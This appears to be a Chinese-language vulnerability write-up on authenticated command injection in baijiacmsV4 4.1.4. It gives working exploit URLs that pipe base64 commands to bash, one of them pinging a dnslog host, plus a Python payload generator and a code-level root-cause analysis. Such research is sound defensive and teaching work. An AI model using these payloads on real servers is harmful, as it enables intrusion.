baijiacmsV4 后台RCE
This_is_Y Lv6

项目地址:https://github.com/baijiacms/baijiacmsV4
版本:V4.1.4 20170105 FINAL
环境:

  • php 5.5.38
  • nginx 1.15
  • mysql 5.7.27
  • 20.04.1-Ubuntu

漏洞点在文件includes/baijiacms/common.inc.php
第654行。

image-20221120231144576

利用

这个system的功能本来是为了执行压缩图片的。所以要利用该漏洞,需要先登录后台,在附近设置中设置图片压缩比例,否则代码无法运行到此处。

image-20221121010931465

EXP1:http://192.168.0.64/baijiacmsV4-4.1.4/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1/poc.;echo${IFS}cGluZyBwb2MuZXhyNm1xLmNleWUuaW8gLWMgNA==|base64${IFS}-d|bash;&status=1&beid=1

image-20221121012250381

EXP2:http://192.168.0.64/baijiacmsV4-4.1.4/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1/whoami.;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;&status=1&beid=1

image-20221121012638014

其中poc可以使用一下代码生成,随后开启web服务确保可以被访问到即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import base64

cmd = input("cmd>>> ")

b64cmd = base64.b64encode(cmd.encode()).decode()

payload = f"echo {b64cmd}|base64 -d|bash"

print(payload)
payload = payload.replace(' ','${IFS}')
print(payload)

name = input("name>>>")
payload = f"{name}.;{payload};"
print(payload)

with open(file=webpath+payload,mode='w')as f:
f.write('1')


原理

在该漏洞中,漏洞点为文件includes/baijiacms/common.inc.php
第654行的system()。该函数位于file_save()函数中。

1
system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);

image-20221121021939492

其中,$quality_command无法控制,能够控制的只有$file_full_path。

由于上一步调用file_save()的,是fetch_net_file_upload()函数的return部分

image-20221121022039870

$file_full_path的定义往上翻为:

1
2
3
4
5
6
7
8
9
10
$file_full_path = WEB_ROOT .$path . $extpath. $filename;
# 后面三个参数定义分别为

$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');
$filename = random(15) . ".{$extention}";

# 在$extpath和$filename中出现的$extention的定义为
$extention = pathinfo($url,PATHINFO_EXTENSION );
# 而$url就是可以用户控制的参数,

所以能使用的payload只能存在于url后的文件名后缀中,且payload中由于代码功能的限制不能出现,

  • htmlspecialchars()

    • includes/baijiacms.php line92 :$_GP = irequestsplite($_GP);
    • &
    • <
    • >
  • 后缀 (pathinfo())

    • includes/baijiacms/common.inc.php line 617 :$extention = pathinfo($url,PATHINFO_EXTENSION );
    • .
  • file_get_contents()

    • includes/baijiacms/common.inc.php line632 :if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
    • 空格
  • 文件名

    • web服务器系统类型,在windows下限制颇多
    • windows
      • \
      • /
      • :
      • *
      • ?
      • |
    • linux
      • /

htmlspecialchars()

在该系统中,所有的参数都会经过includes/baijiacms.php进行htmlspecialchars过滤

image-20221121021608604

所以payload中首先排除了 < > “ ‘ &这些符号

pathinfo()

pathinfo()会返回文件路径的信息

image-20221121023633375

1
$extention = pathinfo($url,PATHINFO_EXTENSION );

代码中传入了PATHINFO_EXTENSION参数,根据官方介绍,传入该参数,只会返回最后一个扩展名,扩展名以 . 划分。结合后面的分析,所以payload只能存在与扩展名中

image-20221121023748242

file_get_contents()

这一步有两个条件,首先file_get_contents()需要可以get到文件,其次文件中需要有内容满足file_put_contents()

1
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) 

image-20221117212518384

$settings[‘image_compress_openscale’]

最后在file_save()中还有一步

1
if(!empty($settings['image_compress_openscale']))

image-20221121024152075

这一步在略读了代码后才知道,它由函数globaPriveteSystemSetting()获的,取自数据库中。

image-20221121024947766

略读代码后才知道,这个需要在后台中开启图片上传压缩才会在数据库中建立数据。以便后续读取。

所以需要在后台的附件设置中开启并设置图片压缩比例(具体数字随意)

image-20221121025117963

具体利用过程解析

EXP:http://192.168.0.64/baijiacmsV4-4.1.4/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1/[whoami.;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;](http://42.193.178.194/whoami.%3Becho%24{IFS}d2hvYW1p|base64%24{IFS}-d|bash%3B)&status=1&beid=1

这端url中,主要起作用的是url参数,其他的只是陪跑的(但是也不能删)。url参数原本是远程图片地址。

首先在自己的vps上设置payload,这里我设置的命令为whoami,为了便于区分payload,文件名也取名为whoami。然后使用python开启web服务。

image-20221121025858609

然后登录baijiacms后台,设置一个压缩比例,保存,然后访问

http://192.168.0.64/baijiacmsV4-4.1.4/index.php?mod=site&act=public&do=file&op=fetch&url=http://127.0.0.1/whoami.%3Becho%24%7BIFS%7Dd2hvYW1p%7Cbase64%24%7BIFS%7D-d%7Cbash%3B&status=1&beid=1

然后我们来看debug。

代码运行到fetch_net_file_upload函数中,走到$extention = pathinfo($url,PATHINFO_EXTENSION );时,截取到了payload:;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;

image-20221121030454954

随后是mkdir根据时间,后缀,建立文件夹。之后来到if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) 进行判断,这边我为了方便查看file_get_contents和file_put_contents哪个会出问题,多加了两行代码。

1
2
$flag1 = file_put_contents($file_tmp_name,"1");
$flag2 = file_get_contents($url);

在这里之后进入file_save() 。传入了关键的变量

$file_full_path:/www/admin/localhost_80/wwwroot/baijiacmsV4-4.1.4/attachment/;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;/2022/11/G55bRGvfRVr00o3.;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;

image-20221121031110033

这边经过几个判断后,最后到达system(),最终传入的命令为。

convert -quality 100 /www/admin/localhost_80/wwwroot/baijiacmsV4-4.1.4/attachment/;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;/2022/11/AFqEQN31zocEeu1.;echo${IFS}d2hvYW1p|base64${IFS}-d|bash; /www/admin/localhost_80/wwwroot/baijiacmsV4-4.1.4/attachment/;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;/2022/11/AFqEQN31zocEeu1.;echo${IFS}d2hvYW1p|base64${IFS}-d|bash;

由于代码中会根据后缀建立文件夹,所以在system中,payload一共会执行四次,也就是为什么在执行whoami这个payload是,会输出4个www。

image-20221121031530346

nothing

  1. 在写测试的命令时,如果要用到ping dnslog这类命令,由于linux默认是会一直ping下去的。所以最好加一个-c 4限制次数(系统被搞崩了好多次)

  2. php中单引号的字符串和双引号的字符串差距还是挺大的。https://www.cnblogs.com/youxin/archive/2012/02/13/2348551.html。因为这个特性,测试的时候被卡了好久

 Comments